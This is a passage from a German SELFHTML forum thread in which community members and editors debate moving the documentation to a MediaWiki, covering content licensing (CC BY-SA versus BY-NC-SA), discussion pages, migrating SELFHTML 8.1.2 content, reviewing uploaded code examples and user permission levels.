        Ich finde, dass dies der Weg ist, den wir mit dem Wiki einschlagen sollten.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
    9. Hallo Marc, hallo Community!

      Wir haben uns in unseren wöchentlichen Redaktionschat über die aktuelle Lage und die Ideen aus diesem Thread unterhalten und haben dabei einiges aufgegriffen. Hier nun der aktuelle Stand.

      Ich begrüße diese kurzfristige Entscheidung! Selbst wenn sich später zeigen sollte, dass ein Wiki (oder _dieses_ Wiki) ungeeignet sein sollte, finde ich den Schritt richtig und wichtig, denn nur durch einen Versuch erlangt man Gewissheit.

      Um es kurz zu fassen: Wir halten ein Wiki durchaus für eine gute Sache. Die Vorteile liegen klar auf der Hand: Jeder kann mitmachen, wenn er möchte, neue Einträge werden ohne Umwege über eine Redaktion publiziert und die Einarbeitung in das Wiki sollte wesentlich schneller möglich sein als in unsere bestehende SDML-Infrastruktur. Natürlich ist ein Wiki nicht perfekt, vor allem da SELFHTML-spezifische Erweiterungen fehlen. Diese können aber später ergänzt werden sobald eine kritische Masse erreicht ist.

      Hier Arbeitsleistung zu investieren halte ich für wesentlich sinnvoller als diese ganze SDML-Nummer, auch wenn es "cool" ist, einen eigenen Dialekt zu haben.
      Mit dem Wiki ist auf jeden Fall gewährleistet, dass auch unbedarfte Helfer schnell und einfach loslegen können. Module hinzufügen ist ja jederzeit möglich und so schlecht ist MediaWiki AFAIK nicht wenn es darum geht Module anzustricken.

      Nach langem Überlegen erschien uns die Mediawiki-Software die vorerst beste Wahl zu sein, weil:

      • sie oft verwendet wird (→ stärkere Community)

      Auch wenn im Kern für WikiPedia entwickelt wird, was ich allerdings gar nicht glaube, aber das Gegenteil nicht beweisen kann, ist dieser Vorteil nicht von der Hand zu weisen.

      • sie frei ist

      Free as in beer! ;-)

      • die Mediawiki-Syntax durch Wikipedia u.ä. bereits einer großen Masse bekannt ist

      Gewährleistet den schnellen und einfachen Einstieg für alle.

      • zahlreiche Erweiterungen verfügbar sind.

      Natürlich auch ein großer Vorteil gegenüber der aktuellen Lösung, da musste fast jeder Fetzen selbst erstellt werden. Außerdem werden Fehler und Sicherheitslücken so schneller erkannt, weil man nicht "alleine" mit der Software dasteht.

      Natürlich ist das nicht der Weisheit letzter Schluss, doch irgendwo muss man anfangen. Letztendlich ist die Software an sich egal, solange sie die Hauptfunktion - das Schreiben des Inhalts - gut unterstützt. Intern haben wir nun bereits ein Mediawiki eingerichtet, welches wir nach kurzer Bearbeitung (Infos für Neulinge, Anlegen wichtiger Kategorien und der Basisstruktur, Lizenz-Festlegung etc.) bereits freigeben wollen.

      Finde ich gut, endlich rührt sich was. Ich hoffe das kann dann auch die Lösung für die Zukunft werden.

      Dazu brauchen wir eure Mithilfe:

      • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

      Ja, wie andernorts schon erwähnt BY-NC-SA möglicherweise.

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      Für Diskussionen zum Inhalt finde ich die Diskussionsseiten am sinnvollsten, Für allgemeine Diskussionen, über Module, Struktur und so weiter, wahlweise hier in das vorhandene CForum integrieren oder als Diskussionsseiten unterhalb einer Infoseite zur technischen Entwicklung des Wikis.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Zu diesem Punkt bin ich unschlüssig. einerseits glaube ich, dass ein kompletter Neustart nicht schaden könnte, andererseits sollten schnell Inhalte generiert, sprich die aktuelle Version übertragen, werden.

      Grundsätzlich sollte man den Wegfall der Versionierung von HTML5 berücksichtigen. Es sollte zwischen HTML4.x und HTML5 unterschieden werden, wenn relevant, sprich: wenn Änderungen an Elementen vorliegen.

      Die alten Tutorials zu HTML sollten erhalten bleiben, für HTML5 neue erstellt werden.

      JavaScript, SSI, Serverside-Scripting sollte einerseits in gesonderte Zweige innerhalb der Struktur ausgegliedert, aber wo nötig und sinnvoll wiederum verlinkt werden.

      Es wird wohl nicht ganz einfach die optimale Struktur zu finden, ich denke zunächst sollte man jeden Teilbereich für sich einpflegen und die Art und Häufigkeit dann im Entstehung- und Weiterentwicklungsprozess anpassen.

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze? Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.

      Die Sandbox-Lösung die schon genannt wurde klingt interessant, andererseits könnten die sicherheitskritischen Codebeispiele bei der Redaktion eingereicht und geprüft werden.

      • Vorschläge für Mediawiki-Extensions, die wir installieren sollten?

      Keine Ahnung, hab mal ne Weile mit einer Testinstallation gespielt, dort aber keine Extensions verwendet. Sorry.

      • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

      Ich denke zum Schutz gegen Spammer/Trolle etc. könnte eine Registrierpflicht und ein Schutzmechanismus (ähnlich einem IDS, bzw. ail2Ban) helfen.

      Im weiteren Verlauf könnte man verschiedene Benutzergruppen für die Helfer einrichten z.B.:

      1 (default) - darf schreiben, Redaktion muss prüfen/freigeben
      2 (vertrauenswürdig) - darf schreiben, wird sofort veröffentlicht, wird der Redaktion zur Prüfung angeboten.
      3 (minderwertige Arbeit/Spamt/Trollt) - Darf Artikel nicht bearbeiten, sich nur an der Diskussionsseite beteiligen
      4 (Spammer/Trolle) - nur lesen
      5 (unerwünscht) - Verbannen, Zugriff nach allen Möglichkeiten verweigern.

      Diese Liste ist als unvollständiger Vorschlag zu werten.

      Wir sind sehr gespannt auf euer Feedback. Sobald die grundsätzlichen Fragen beantwortet sind wollen wir das Wiki freischalten. :-)

      Ich freue mich drauf.

      Vielen Dank an alle, die meinen Beitrag bis hierher gelesen haben, entschuldigt, dass es so viel wurde.

      Gruß
      Basti

      1. Hallo Basti_,

        Dazu brauchen wir eure Mithilfe:

        • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

        Ja, wie andernorts schon erwähnt BY-NC-SA möglicherweise.

        Die Lizenzfrage muss in der Tat noch geklärt werden. Interessant finde ich, dass mehrere hier im Forum zu BY-NC-SA tendieren.

        Für Diskussionen zum Inhalt finde ich die Diskussionsseiten am sinnvollsten, Für allgemeine Diskussionen, über Module, Struktur und so weiter, wahlweise hier in das vorhandene CForum integrieren oder als Diskussionsseiten unterhalb einer Infoseite zur technischen Entwicklung des Wikis.

        Wird denke ich so gemacht werden.

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Zu diesem Punkt bin ich unschlüssig. einerseits glaube ich, dass ein kompletter Neustart nicht schaden könnte, andererseits sollten schnell Inhalte generiert, sprich die aktuelle Version übertragen, werden.

        Das ist eben die Schwierigkeit. Und man hat so auch keine "Inhalte generiert", sondern nur Inhalte von 8.1.2 ins Wiki kopiert. Aus den bisherigen Threads lese ich eine Tendenz dazu heraus, das Wiki mit neueren Inhalten zu befüllen und diese Stück für Stück von 8.1.2 heraus zu verlinken.

        Grundsätzlich sollte man den Wegfall der Versionierung von HTML5 berücksichtigen. Es sollte zwischen HTML4.x und HTML5 unterschieden werden, wenn relevant, sprich: wenn Änderungen an Elementen vorliegen.

        Die alten Tutorials zu HTML sollten erhalten bleiben, für HTML5 neue erstellt werden.

        Von welchen Tutorials sprichst du? Soweit ich das sehe hatte SELFHTML 8.x keine richtigen Tutorials. Das war auch einer der neuen Punkte bei unserer bisherigen Arbeit an SELFHTML 9.

        Es wird wohl nicht ganz einfach die optimale Struktur zu finden, ich denke zunächst sollte man jeden Teilbereich für sich einpflegen und die Art und Häufigkeit dann im Entstehung- und Weiterentwicklungsprozess anpassen.

        Klingt gut.

        • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze? Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.

        Die Sandbox-Lösung die schon genannt wurde klingt interessant, andererseits könnten die sicherheitskritischen Codebeispiele bei der Redaktion eingereicht und geprüft werden.

        Meiner Meinung nach sind alle Codebeispiele sicherheitskritisch. Ich verstehe da den Vorteil einer Sandbox nicht. Wenn mit "Sandbox" ein Bereich gemeint ist, in den neue Beispiele hochgeladen werden können und die erst nach Sichtung freigeschaltet werden: Das fände ich gut.

        • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

        Ich denke zum Schutz gegen Spammer/Trolle etc. könnte eine Registrierpflicht und ein Schutzmechanismus (ähnlich einem IDS, bzw. ail2Ban) helfen.

        Eine Registrierungspflicht ist per se sinnvoll. Ich glaube das ist im Wiki bereits umgesetzt.

        Im weiteren Verlauf könnte man verschiedene Benutzergruppen für die Helfer einrichten z.B.:

        1 (default) - darf schreiben, Redaktion muss prüfen/freigeben
        2 (vertrauenswürdig) - darf schreiben, wird sofort veröffentlicht, wird der Redaktion zur Prüfung angeboten.
        3 (minderwertige Arbeit/Spamt/Trollt) - Darf Artikel nicht bearbeiten, sich nur an der Diskussionsseite beteiligen
        4 (Spammer/Trolle) - nur lesen
        5 (unerwünscht) - Verbannen, Zugriff nach allen Möglichkeiten verweigern.

        Diese Liste ist als unvollständiger Vorschlag zu werten.

        Bei 3, 4 und 5 bleibt natürlich das Problem, dass sich jeder mit einer neuen E-Mail-Adresse einen neuen Account holen kann und so wieder den default-Status bekommt. Eine Registrierungspflicht hat aber schon mal den großen Vorteil, dass wir die Änderungen eines Benutzers sichten und diese zurücknehmen können - falls nötig.
        Bei 1 (default) gibt es noch ein weiteres Problem: Genau dieses Konzept schreckt neue Leute ab. Und das wollen wir dieses Mal ja vermeiden.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
    10. Dazu brauchen wir eure Mithilfe:

      • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

      Ich wurde by-nc-sa bevorzugen - ich hab' mit den kommerziellen Dingen nicht viel am Hut, wenn sich jemand bei SELFHTML bedient, soll der das non-kommerziell machen da die Autoren und Mitarbeiter das vermutlich auch unentgeltlich machen.

      Irgendwie konnte ich mich noch nie richtig mit dem Gedanken anfreunden, dass man Open-Source-Software oder freies Wissen auch irgendwo kostenpflichtig bekommt - da gibts immer wieder Leute die das Unwissen normaler Menschen ausnutzen.

      Als Beispiel die divesen Kostenpflichtigen OpenOffice.org-Downloads.

      • Welche Diskussionsplattform ist euch am Liebsten? Ein CForum, das ans Wiki angeschlossen wird? In diesem (großen) Forum diskutieren? Oder eher eine Wiki-eigene Lösung (Diskussionsseiten)?

      Die Wiki-Internen Diskussionsseiten für diskussionen zu spezifischen Artikeln, für den "Rest" ggf. einfach eine neue Kategorie in diesem Forum hier.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Ich würde SELFHTML 8.1.2 1:1 ins Wiki übertragen, dieselbe Struktur - nur von dem .htm am Ende der Adresse würde ich mich trennen :)

      • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze? Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.

      Das ist eine harte Nuss, ggf. sollte man Anzeigebeispiele nur von einem eingeschränkten Benutzerkreis verwalten lassen um sicherzustellen, dass da kein Unfug gemacht wird.

      • Vorschläge für Mediawiki-Extensions, die wir installieren sollten?

      http://www.mediawiki.org/wiki/Extension:Cite/Cite.php für Fussnoten und Verweise auf Primärquellen (z.B. W3C-Dokumente oder Diverse RFCs) - ich bin mir allerdings nicht sicher, ob das mittlerweile Built-In ist.

      • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

      "Zieht" das von Stefan Münz vorgeschlagene Layout aus dem Wikidot-Wiki "drüber" :)

      Ansonsten: Vorlagen/Templates für die Browser-Support-Info-Leiste sowie für häufig benötigte Markupgeschichten - hier kann man sich bei der Wikipedia einiges abschaun, da gibts schon einiges.

      Beispiele:
      http://de.wikipedia.org/wiki/Vorlage:Lang
      http://de.wikipedia.org/wiki/Vorlage:Zitat

      1. Hallo suit,

        • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

        Ich wurde by-nc-sa bevorzugen - ich hab' mit den kommerziellen Dingen nicht viel am Hut, wenn sich jemand bei SELFHTML bedient, soll der das non-kommerziell machen da die Autoren und Mitarbeiter das vermutlich auch unentgeltlich machen.

        Irgendwie konnte ich mich noch nie richtig mit dem Gedanken anfreunden, dass man Open-Source-Software oder freies Wissen auch irgendwo kostenpflichtig bekommt - da gibts immer wieder Leute die das Unwissen normaler Menschen ausnutzen.

        Als Beispiel die divesen Kostenpflichtigen OpenOffice.org-Downloads.

        Das klingt nach einem Argument. Ich finde es interessant, dass sich viele hier im Forum eine restriktivere Lizenz als BY-SA wünschen. Vielleicht deshalb, weil BY-SA einige Möglichkeiten zum Missbrauch bietet.
        Wenn wir tatsächlich BY-NC-SA nehmen, sollten wir aber klären, wie es da mit der Veröffentlichung als Buch aussieht.

        Die Wiki-Internen Diskussionsseiten für diskussionen zu spezifischen Artikeln, für den "Rest" ggf. einfach eine neue Kategorie in diesem Forum hier.

        Wurde mehrfach gewünscht und wird so gemacht.

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Ich würde SELFHTML 8.1.2 1:1 ins Wiki übertragen, dieselbe Struktur - nur von dem .htm am Ende der Adresse würde ich mich trennen :)

        Hier gehen die Meinungen in diesem Thread ausseinander. Mit einer solchen Kopie hätte man auch nichts gewonnen außer einem alten 8.x im Wiki-Gewand. Und man hätte sich auf die alte Struktur von 8.x beschränkt, von der wir und einige der Mitwirkenden dieses Threads eigentlich weg wollen.

        • Bei SELFHTML gab es immer Beispiele ("Anzeigebeispiel: So sieht's aus"). Diese sollten in irgendeiner Form erhalten bleiben. Wenn allerdings jeder HTML-, CSS- und JavaScript-Dateien und mehr (man denke auch an Java, Flash und eventuell sogar PHP) hochladen kann sind Sicherheitslücken und Missbrauch vorprogrammiert. Lösungsansätze? Die Beispiele müssen zwar nicht ab sofort verfügbar sein, sind aber für später ziemlich wichtig.

        Das ist eine harte Nuss, ggf. sollte man Anzeigebeispiele nur von einem eingeschränkten Benutzerkreis verwalten lassen um sicherzustellen, dass da kein Unfug gemacht wird.

        Ich denke es läuft auf einen Upload in einen neutralen Bereich und eine Sichtung hinaus. So kann man den phösen Pupen wenigstens etwas entgegensetzen. ;-)

        http://www.mediawiki.org/wiki/Extension:Cite/Cite.php für Fussnoten und Verweise auf Primärquellen (z.B. W3C-Dokumente oder Diverse RFCs) - ich bin mir allerdings nicht sicher, ob das mittlerweile Built-In ist.

        Ist es AFAIK nicht - werde ich so weitergeben.

        • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

        "Zieht" das von Stefan Münz vorgeschlagene Layout aus dem Wikidot-Wiki "drüber" :)

        Ja, das Standard-MediaWiki-Layout ist nicht so toll. Thomas hat da bereits etwas gemacht was ganz hübsch aussieht. Das Layout sollten wir spätestens dann nochmals anpassen wenn das Wiki einen gewissen Nutzungsgrad überschreitet.

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        1. Das klingt nach einem Argument. Ich finde es interessant, dass sich viele hier im Forum eine restriktivere Lizenz als BY-SA wünschen. Vielleicht deshalb, weil BY-SA einige Möglichkeiten zum Missbrauch bietet.
          Wenn wir tatsächlich BY-NC-SA nehmen, sollten wir aber klären, wie es da mit der Veröffentlichung als Buch aussieht.

          Ggf. wäre eine Doppellizenzierung möglich - sprich eine by-nc-sa und zusätzlich eine proprietäre Form, die es dem Verein erlaubt, den Inhalt als Buch zu publizieren.

          Hier gehen die Meinungen in diesem Thread ausseinander. Mit einer solchen Kopie hätte man auch nichts gewonnen außer einem alten 8.x im Wiki-Gewand. Und man hätte sich auf die alte Struktur von 8.x beschränkt, von der wir und einige der Mitwirkenden dieses Threads eigentlich weg wollen.

          Ich meinte nicht damit, dass man 8.1.2 auf ewig behält sondern eben zum "Start" importiert und dann nach und nach die Artikel auf einen aktuellen Stand bringt, umsortiert/umbenennt/verschiebt oder ggf. sogar entfernt.

        2. Hallo

          • Last but not least: Habt ihr sonst noch Anregungen oder Ideen?

          "Zieht" das von Stefan Münz vorgeschlagene Layout aus dem Wikidot-Wiki "drüber" :)

          Ja, das Standard-MediaWiki-Layout ist nicht so toll. Thomas hat da bereits etwas gemacht was ganz hübsch aussieht. Das Layout sollten wir spätestens dann nochmals anpassen wenn das Wiki einen gewissen Nutzungsgrad überschreitet.

          Es gab doch mal einen Layout-Wettbewerb für die 9-er Doku. Könnte man nicht deren Ergebnis auf das Wiki projizieren?

          Tschö, Auge

          --
          Verschiedene Glocken läuteten in der Stadt, und jede von ihnen vertrat eine ganz persönliche Meinung darüber, wann es Mitternacht war.
          Terry Pratchett, "Wachen! Wachen!"
          Veranstaltungsdatenbank Vdb 0.3
          1. Hallo,

            Es gab doch mal einen Layout-Wettbewerb für die 9-er Doku. Könnte man nicht deren Ergebnis auf das Wiki projizieren?

            Sicherlich könnte man das. Mit genügend Zeit und mit einigen Abstrichen hie und da. Aber das ist im Moment nicht wirklich wichtig, denn _das_ kann man auch im laufenden Betrieb machen.

            Ich habe einen fertigen Skin genommen und das für uns an einigen Stellen abgeändert und angepasst. Das reicht für's erste und ist auch so noch immer Lichtjahre besser als Monobook.

            Grüße
            Thomas

    11. Moin,

      Um es kurz zu fassen: Wir halten ein Wiki durchaus für eine gute Sache.

      Das freut mich, das "wir"

      • Welche Diskussionsplattform ist euch am Liebsten?

      Natürlich wäre es schön, das hier zu integrieren, weil hier viele Fragen auftauchen, die inspirieren können und weil jedes Forum (administrativen) Aufwand bedeutet. Dennoch: Getrennt von diesem Forum. Um klarzumachen, dass Schreiben was anderes als antworten ist und weil der Schreibstil der Doku ein anderer ist, als der häufig genug - öhhh: merkwürdige, manchmal auch kranke Kommunikationsstil einiger weniger Stammgäste hier (die sich glücklicherweise überwiegend aus diesem Thread raushalten) .

      Andererseits wäre es werbend für die "neue" Plattform, wenn sich Blog, Artikel, Doku und das dazugehörige Diskussions- und Kommentierungsforum (ich meine das jetzt bildlich, nicht nur im Sinne eines cForums) verweben und ergänzen.

      Ganz grundsätzlich habe solche Dinge aber Zeit. Wenn es zuviel Arbeit wäre, sind solche Dinge zweitrangig, dann reicht zunächst ein Topic zur Auswahl in diesem Forum.

      • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

      Auch wenn es Mühsal bedeutet und vermeintlich schnellen Quantitätszuwachs verhindert: Händisch die Texte ins Wiki gießen. Stefan schrieb das schon irgendwo.

      Alle x Monate könnte es dann evtl. einen Quartalsabzug als Downloadangebot geben, aber keine Versionierung mehr.

      • Vorschläge für Mediawiki-Extensions, die wir installieren sollten?

      Zunächst nichts. Das sollten die dann wirklich Aktiven untereinander ausmüllern. Das trägt auch zu Kundenbindung bei.

      • Last but not least: Habt ihr sonst noch Anregungen

      Euch dafür loben, dass ihr die Biege gekriegt habt!

      Was ist Deine Rolle?

      Grüße

      Swen

      1. Hallo Swen,

        • Welche Diskussionsplattform ist euch am Liebsten?

        Natürlich wäre es schön, das hier zu integrieren, weil hier viele Fragen auftauchen, die inspirieren können und weil jedes Forum (administrativen) Aufwand bedeutet. Dennoch: Getrennt von diesem Forum. Um klarzumachen, dass Schreiben was anderes als antworten ist und weil der Schreibstil der Doku ein anderer ist, als der häufig genug - öhhh: merkwürdige, manchmal auch kranke Kommunikationsstil einiger weniger Stammgäste hier (die sich glücklicherweise überwiegend aus diesem Thread raushalten) .

        Bis jetzt kam immer der Vorschlag für ein eigenes Topic "SELFHTML-Wiki" für dieses Forum, bei dem man zentrale Dinge diskutieren kann.

        • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?

        Auch wenn es Mühsal bedeutet und vermeintlich schnellen Quantitätszuwachs verhindert: Händisch die Texte ins Wiki gießen. Stefan schrieb das schon irgendwo.

        Meinst du damit, dass wir fast alle Texte von 8.1.2 ins Wiki übertragen sollen? Ich meine: Natürlich gibt es die Texte teilweise bereits dort. Aber dort bleiben sie ja auch noch - zumindest bis das Wiki einen guten Stand erreicht hat. Ergo könnte jeder für sich entscheiden, ob er einen Artikel neu schreibt oder die Inhalte von 8.1.2 kopiert und diese ergänzt. Ich denke dies wäre ein annehmbarer Kompromiss.

        Alle x Monate könnte es dann evtl. einen Quartalsabzug als Downloadangebot geben, aber keine Versionierung mehr.

        Klaro. Ganz Wiki-like.

        • Vorschläge für Mediawiki-Extensions, die wir installieren sollten?

        Zunächst nichts. Das sollten die dann wirklich Aktiven untereinander ausmüllern. Das trägt auch zu Kundenbindung bei.

        • Last but not least: Habt ihr sonst noch Anregungen

        Euch dafür loben, dass ihr die Biege gekriegt habt!

        Danke dafür. :-)

        Was ist Deine Rolle?

        Jetzt im Moment habe ich mir auf die Fahnen geschrieben die Meinungen hier im Thread zu reflektieren, zu sammeln und zu integrieren. So können wir das Wiki hoffentlich in Kürze starten. Sobald diese Aufgabe erfüllt ist werde ich mich wahrscheinlich daran machen, Inhalte ins Wiki einzufügen. ;-)

        Grüße

        Marc Reichelt || http://www.marcreichelt.de/

        --
        DPRINTK("Last time you were disconnected, how about now?");
                linux-2.6.6/drivers/net/tokenring/ibmtr.c
        Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
        1. Moin,

          • Generelle Vorgehensweise: Würdet ihr die Inhalte von SELFHTML 8.1.2 ins Wiki übertragen? Oder z. B. eher in Seiten von SELFHTML 8.1.2 Links zum Wiki einfügen, sobald dort neuere Inhalte vorliegen, und so für eine allmähliche Migration sorgen?
            Auch wenn es Mühsal bedeutet und vermeintlich schnellen Quantitätszuwachs verhindert: Händisch die Texte ins Wiki gießen. Stefan schrieb das schon irgendwo.
            Meinst du damit, dass wir fast alle Texte von 8.1.2 ins Wiki übertragen sollen?

          Nee :-) Im Gegenteil: Erstmal (so gut wie) nichts ins Wiki übertragen, da- so vermute ich -  ansonsten die bisherige Struktur verfestigt wird und man wieder vor der ehrfürchtigen Werk SELFHTML steht und der Aufstieg so schwer erscheint.

          Damit es einen Anfang gibt, kann die angedachte Struktur für 9.0 in Form von Inhaltsverzeichnis und "Leerseiten" dem Gefühl von erdrückender Leere entgegenwirken, denn wie der Berg SELFHTML mag auch die Schlucht NEUANFANG ein Hindernis sein.

          Vor jedem Übertragen steht also die individuell und nicht automatisiert zu beantwortende Frage: Brauchen wird das noch? Und wenn ja: Auch in dieser Form bzw Art und Weise?

          Wegen des eben erwähnten Wortes "Inhaltsverzeichnis": Das meine ich ich nicht linear wie in einem Buch, das umfasst begrifflich in einem Wiki auch Portale, Listen, Namensräume oder was immer an "Schnüren" oder Verkettungen von Links man im Wiki erwägt.

          Grüße

          Swen

    12. Hi,

      • Unter welche Lizenz würdet ihr den Inhalt stellen? Wir finden, dass sich die Lizenz Creative Commons BY-SA gut eignen würde, sind aber offen für Neues.

      Es haben sich hier ja schon mehrere Antworter für die Hinzunahme von NC ausgesprochen - das würde ich auch befürworten.

      Hier schreibst du selbst noch mal, dass NC problematisch wäre, wenn das ganze mal als Buch veröffentlicht werden soll.
      Ich sehe ohne NC aber viel eher das Problem, dass jemand anderes das Buch veröffentlichen könnte, um damit Kasse zu machen.

      Es sollte unterschieden werden zwischen der Lizenz, unter der das ganze nach aussen hin veröffentlicht wird - und der, unter der die einzelnen Mitautoren ihre Beiträge leisten.
      Eine Lizenz zu formulieren, unter der die Mitautoren ihre Beiträge SELFHTML zur Nutzung, auch zur kommerziellen, zur Verfügung stellen, *ohne* dass damit das „Gesamtpaket“ von aussenstehenden Dritten kommerziell genutzt werden darf, sollte doch wohl möglich sein.

      Nicht zuletzt, wie es auch hier im Forum bei Rechtsfragen so oft heisst - „konsultiert den Anwalt eures geringsten Misstrauens“.
      Ich denke, auch dieser Aspekt sollte unter Hinzunahme eines Fachmanns geklärt sein, bevor „SELFHTML in Wiki-Form“ an den Start geht.

      MfG ChrisB

      --
      “Whoever best describes the problem is the person most likely to solve the problem.” [Dan Roam]
      1. Hi!

        Ich sehe ohne NC aber viel eher das Problem, dass jemand anderes das Buch veröffentlichen könnte, um damit Kasse zu machen.

        Was wäre daran so schlimm? Freie Software darf auch jeder verkaufen. Die Wikipedia darf jeder als Buch verkaufen. Trotzdem gehen die entsprechenden Projekte nicht zu Grunde. Im Gegenteil:

        Linux konnte nur deshalb seine heutige Popularität erreichen, weil Linus Torvalds den Kernel damals unter die GPL gestellt hat. Und die GPL erlaubt es ausdrücklich, das Ding zu verkaufen! Die Wikipedia hat von der GFDL sogar auf (die weniger restriktive) CC-BY-SA umgestellt und existiert immer noch.

        Die Erfahrung sollte uns doch gelehrt haben, dass eine möglichst liberale Lizenzpolitik der Verbreitung gewisser Ideen (und ich denke schon, dass SelfHTML eine gewisse Idee, also Philosophie transportieren möchte) nur hilfreich ist.

        Eine restriktive Lizenzpolitik wäre vergleichbar mit den technischen Einstiegshürden, die viele Autoren bisher von SelfHTML abgeschreckt und das Projekt an den Rand des Scheiterns gebracht hat.

        Es sollte unterschieden werden zwischen der Lizenz, unter der das ganze nach aussen hin veröffentlicht wird - und der, unter der die einzelnen Mitautoren ihre Beiträge leisten.

        Eine Lizenz zu formulieren, unter der die Mitautoren ihre Beiträge SELFHTML zur Nutzung, auch zur kommerziellen, zur Verfügung stellen, *ohne* dass damit das „Gesamtpaket“ von aussenstehenden Dritten kommerziell genutzt werden darf, sollte doch wohl möglich sein.

        Das schließt schon mal alle viralen Lizenzen aus; und nochmal: Die theoretische Möglichkeit, dass Dritte einen kommerziellen Nutzen aus dem Projekt ziehen, wird dem Projekt nicht schaden. Da gehe ich jede Wette ein.

        Ich denke, auch dieser Aspekt sollte unter Hinzunahme eines Fachmanns geklärt sein, bevor „SELFHTML in Wiki-Form“ an den Start geht.

        Wenn der Verein lizenztechnische Fragen mit einem Fachmann bespricht, so ist das sicher zu begrüßen. Aber die Politik hinter der Lizenz muss man sich selber überlegen.

        Es steht mir nicht zu, irgendwas zu verlangen, aber ich bitte die Redaktion bei der Entscheidung über die Lizenz die Erfahrungen bei anderen Projekten in der Vergangenheit ausreichend zu berücksichtigen, und daraus die richtigen Schlüsse zu ziehen. Wenn man das tut, dann kann ich mir nicht vorstellen, dass man Restriktionen bei der Weiternutzung wirklich gutheißt.

        Grüße
        Bernhard

        1. Hallo,

          Ich sehe ohne NC aber viel eher das Problem, dass jemand anderes das Buch veröffentlichen könnte, um damit Kasse zu machen.

          Was wäre daran so schlimm? Freie Software darf auch jeder verkaufen. Die Wikipedia darf jeder als Buch verkaufen. Trotzdem gehen die entsprechenden Projekte nicht zu Grunde. Im Gegenteil:

          Die Wikipedia hat von der GFDL sogar auf (die weniger restriktive) CC-BY-SA umgestellt und existiert immer noch.

          Das stimmt, allerdings bilden wir uns nicht ein, die "Wikimedia Foundation" zu sein.

